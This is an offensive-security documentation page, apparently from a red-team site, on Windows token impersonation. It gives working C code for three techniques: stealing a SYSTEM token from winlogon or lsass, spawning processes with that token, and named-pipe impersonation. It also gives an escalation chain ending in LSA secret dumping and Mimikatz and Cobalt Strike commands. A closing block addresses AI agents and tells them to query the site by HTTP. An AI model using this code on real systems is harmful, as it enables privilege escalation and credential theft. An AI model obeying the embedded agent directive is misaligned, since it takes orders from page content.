# Token Impersonation — Identity Theft on Windows

### The Token-Based Security Model

On Windows, every process and thread has an associated **access token** that defines its security identity: user, groups, enabled privileges, and integrity level. When a process accesses a resource (file, registry key, kernel object), the system compares that process's token against the Security Descriptor (DACL/SACL) of the resource.

There are two types of tokens:

* **Primary Token**: Associated with the process. Represents the default identity of the process.
* **Impersonation Token**: Used by individual threads to temporarily assume another identity.

```
┌──────────────────────────────────────────────────────────────────────┐
│                  Access Token Structure                              │
│                                                                      │
│  ┌─────────────────────────────────────────────────────────────┐    │
│  │                    ACCESS TOKEN                             │    │
│  │  TokenUser:        S-1-5-21-...-1001 (DOMAIN\User)         │    │
│  │  TokenGroups:      [Administrators, Users, Everyone...]     │    │
│  │  TokenPrivileges:  [SeDebugPrivilege, SeImpersonatePriv...] │    │
│  │  TokenIntegrity:   High (0x3000) / System (0x4000)          │    │
│  │  TokenSessionId:   1                                        │    │
│  │  ImpersonationLevel: SecurityImpersonation (3)              │    │
│  └─────────────────────────────────────────────────────────────┘    │
│                                                                      │
│  Token stolen from SYSTEM process:                                   │
│  ┌─────────────────────────────────────────────────────────────┐    │
│  │  TokenUser:        S-1-5-18 (NT AUTHORITY\SYSTEM)           │    │
│  │  TokenPrivileges:  [SeTcbPrivilege, SeAssignPrimaryToken...] │   │
│  │  TokenIntegrity:   System (0x4000)                          │    │
│  └─────────────────────────────────────────────────────────────┘    │
└──────────────────────────────────────────────────────────────────────┘
```

**Token Impersonation** is the technique of obtaining a token from another process (typically one with higher privileges) and using it to execute operations under that process's identity.

***

### Prerequisites: Required Privileges

| Privilege                       | Purpose                                                            |
| ------------------------------- | ------------------------------------------------------------------ |
| `SeDebugPrivilege`              | Opens handles to processes of other users (including SYSTEM)       |
| `SeImpersonatePrivilege`        | Allows impersonating other tokens                                  |
| `SeAssignPrimaryTokenPrivilege` | Allows assigning a primary token to a process                      |
| `SeTcbPrivilege`                | Allows creating tokens with any SID (TCB = Trusted Computing Base) |

A user in the **Administrators** group typically has `SeDebugPrivilege` and `SeImpersonatePrivilege`. Network services and local services have `SeImpersonatePrivilege` by default.

***

### Technique 1: Token Stealing from SYSTEM Process

```c
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Enable a privilege in the current process token
BOOL EnablePrivilege(const char* privName) {
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
                          &hToken)) {
        return FALSE;
    }

    LUID luid;
    if (!LookupPrivilegeValueA(NULL, privName, &luid)) {
        CloseHandle(hToken);
        return FALSE;
    }

    TOKEN_PRIVILEGES tp = {0};
    tp.PrivilegeCount           = 1;
    tp.Privileges[0].Luid       = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL);
    CloseHandle(hToken);
    return result && GetLastError() == ERROR_SUCCESS;
}

// Find PID of a process running as SYSTEM
DWORD FindSystemProcess(void) {
    const char* systemProcs[] = {
        "winlogon.exe",
        "services.exe",
        "lsass.exe",
        NULL
    };

    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32 pe = { .dwSize = sizeof(pe) };
    if (!Process32First(hSnap, &pe)) {
        CloseHandle(hSnap);
        return 0;
    }

    do {
        for (int i = 0; systemProcs[i]; i++) {
            if (_stricmp(pe.szExeFile, systemProcs[i]) == 0) {
                CloseHandle(hSnap);
                return pe.th32ProcessID;
            }
        }
    } while (Process32Next(hSnap, &pe));

    CloseHandle(hSnap);
    return 0;
}

// Steal token from SYSTEM process and impersonate it
BOOL StealSystemToken(void) {
    // 1. Enable SeDebugPrivilege to open handles to any process
    if (!EnablePrivilege(SE_DEBUG_NAME)) {
        printf("[-] Failed to enable SeDebugPrivilege\n");
        return FALSE;
    }
    printf("[+] SeDebugPrivilege enabled\n");

    // 2. Locate a SYSTEM process
    DWORD sysPid = FindSystemProcess();
    if (!sysPid) {
        printf("[-] SYSTEM process not found\n");
        return FALSE;
    }
    printf("[+] SYSTEM process found: PID %lu\n", sysPid);

    // 3. Open handle to the target process
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, sysPid);
    if (!hProcess) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return FALSE;
    }

    // 4. Open the primary token of the process
    HANDLE hToken;
    if (!OpenProcessToken(hProcess,
                          TOKEN_DUPLICATE | TOKEN_QUERY,
                          &hToken)) {
        printf("[-] OpenProcessToken failed: %lu\n", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }
    CloseHandle(hProcess);

    // 5. Duplicate the token as an impersonation token
    HANDLE hDupToken;
    SECURITY_ATTRIBUTES sa = { .nLength = sizeof(sa) };

    if (!DuplicateTokenEx(
        hToken,
        TOKEN_ALL_ACCESS,
        &sa,
        SecurityImpersonation,
        TokenImpersonation,
        &hDupToken
    )) {
        printf("[-] DuplicateTokenEx failed: %lu\n", GetLastError());
        CloseHandle(hToken);
        return FALSE;
    }
    CloseHandle(hToken);

    // 6. Impersonate the token on the current thread
    if (!ImpersonateLoggedOnUser(hDupToken)) {
        printf("[-] ImpersonateLoggedOnUser failed: %lu\n", GetLastError());
        CloseHandle(hDupToken);
        return FALSE;
    }

    printf("[+] Successfully impersonating SYSTEM!\n");

    // 7. Verify current identity
    char username[256] = {0};
    DWORD unameLen = sizeof(username);
    GetUserNameA(username, &unameLen);
    printf("[+] Current identity: %s\n", username);

    CloseHandle(hDupToken);
    return TRUE;
}
```

***

### Technique 2: Spawn Process with Stolen Token (CreateProcessWithTokenW)

Instead of only impersonating on the current thread, we can create a child process running with the stolen token:

```c
BOOL SpawnProcessAsSystem(const wchar_t* cmdLine) {
    // Repeat steps 1-4 from Technique 1 to get a SYSTEM token
    // Here we assume hDupToken is a PRIMARY token (not impersonation)

    HANDLE hToken = NULL;
    // ... (obtain SYSTEM token as PRIMARY token)

    HANDLE hPrimaryToken;
    DuplicateTokenEx(
        hToken,
        TOKEN_ALL_ACCESS,
        NULL,
        SecurityImpersonation,
        TokenPrimary,           // Primary token for new process
        &hPrimaryToken
    );

    STARTUPINFOW si = { .cb = sizeof(si) };
    PROCESS_INFORMATION pi = {0};

    BOOL result = CreateProcessWithTokenW(
        hPrimaryToken,
        LOGON_WITH_PROFILE,
        NULL,
        (LPWSTR)cmdLine,
        CREATE_NEW_CONSOLE,
        NULL, NULL,
        &si, &pi
    );

    if (result) {
        printf("[+] Process created as SYSTEM: PID %lu\n", pi.dwProcessId);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }

    CloseHandle(hPrimaryToken);
    return result;
}
```

***

### Technique 3: Named Pipe Impersonation

This technique creates a fake named pipe and tricks a privileged process (usually a SYSTEM service) into connecting to it. When the service connects and writes to the pipe, the server can call `ImpersonateNamedPipeClient()` to assume the client's identity.

```c
#include <windows.h>
#include <stdio.h>

BOOL NamedPipeImpersonation(void) {
    // 1. Create a named pipe
    HANDLE hPipe = CreateNamedPipeA(
        "\\\\.\\pipe\\legit_service_pipe",
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_BYTE | PIPE_WAIT,
        1,
        1024,
        1024,
        0,
        NULL  // No security attributes (allows any connection)
    );

    if (hPipe == INVALID_HANDLE_VALUE) {
        printf("[-] CreateNamedPipe failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[+] Pipe created. Waiting for privileged connection...\n");

    // 2. Wait for a privileged process to connect
    // (In practice, an exploit or social engineering forces the service to connect)
    if (!ConnectNamedPipe(hPipe, NULL)) {
        if (GetLastError() != ERROR_PIPE_CONNECTED) {
            CloseHandle(hPipe);
            return FALSE;
        }
    }

    printf("[+] Client connected to pipe!\n");

    // 3. Impersonate the client (assume the identity of whoever connected)
    if (!ImpersonateNamedPipeClient(hPipe)) {
        printf("[-] ImpersonateNamedPipeClient failed: %lu\n", GetLastError());
        CloseHandle(hPipe);
        return FALSE;
    }

    // 4. Verify the impersonated identity
    char username[256] = {0};
    DWORD unameLen = sizeof(username);
    GetUserNameA(username, &unameLen);
    printf("[+] Impersonating: %s\n", username);

    // 5. Execute operations with the privileged identity
    // ...

    RevertToSelf();  // Revert to original identity
    CloseHandle(hPipe);
    return TRUE;
}
```

***

### Typical Red Team Token Escalation Chain

```
┌──────────────────────────────────────────────────────────────────────┐
│           Typical Token Impersonation Chain in Red Team              │
│                                                                      │
│  Initial access as regular user (no SeDebug)                         │
│       │                                                              │
│       ▼                                                              │
│  Exploit local vulnerability → admin access                          │
│       │                                                              │
│       ▼                                                              │
│  Enable SeDebugPrivilege (admin token can do this)                   │
│       │                                                              │
│       ▼                                                              │
│  OpenProcess(PROCESS_QUERY_INFO) on winlogon.exe (SYSTEM)           │
│       │                                                              │
│       ▼                                                              │
│  OpenProcessToken + DuplicateTokenEx → SYSTEM token                 │
│       │                                                              │
│       ▼                                                              │
│  ImpersonateLoggedOnUser OR CreateProcessWithTokenW                  │
│       │                                                              │
│       ▼                                                              │
│  Operating as NT AUTHORITY\SYSTEM                                    │
│  → LSA secret dump, unrestricted access to any resource             │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Red Team Tooling

* **Incognito** (integrated in Meterpreter): `list_tokens -u` / `impersonate_token "NT AUTHORITY\SYSTEM"`
* **Cobalt Strike**: `steal_token <pid>` / `make_token <domain>\<user> <pass>`
* **Mimikatz**: `token::elevate` / `token::impersonate`

***

### References

* James Forshaw, "Abusing Token Privileges for LPE" — Google Project Zero (2019)
* harmj0y, "Token Impersonation and UAC Bypass" — harmj0y.net
* ired.team, "Access Token Manipulation" — ired.team/offensive-security/privilege-escalation/
* MITRE ATT\&CK, "T1134 — Access Token Manipulation" — attack.mitre.org
* Microsoft Docs, "Access Tokens" — docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens
* decoder-it, "Juicy Potato — Token Impersonation via SeImpersonatePrivilege" — github.com/ohpe/juicy-potato
* foxglovesecurity, "Rotten Potato — Privilege Escalation from Service Account to SYSTEM"
* itm4n, "PrintSpoofer — Impersonating the PrintSpooler" — itm4n.github.io (2020)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.redteamleaders.com/offensive-security/defense-evasion/token-impersonation-identity-theft-on-windows.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
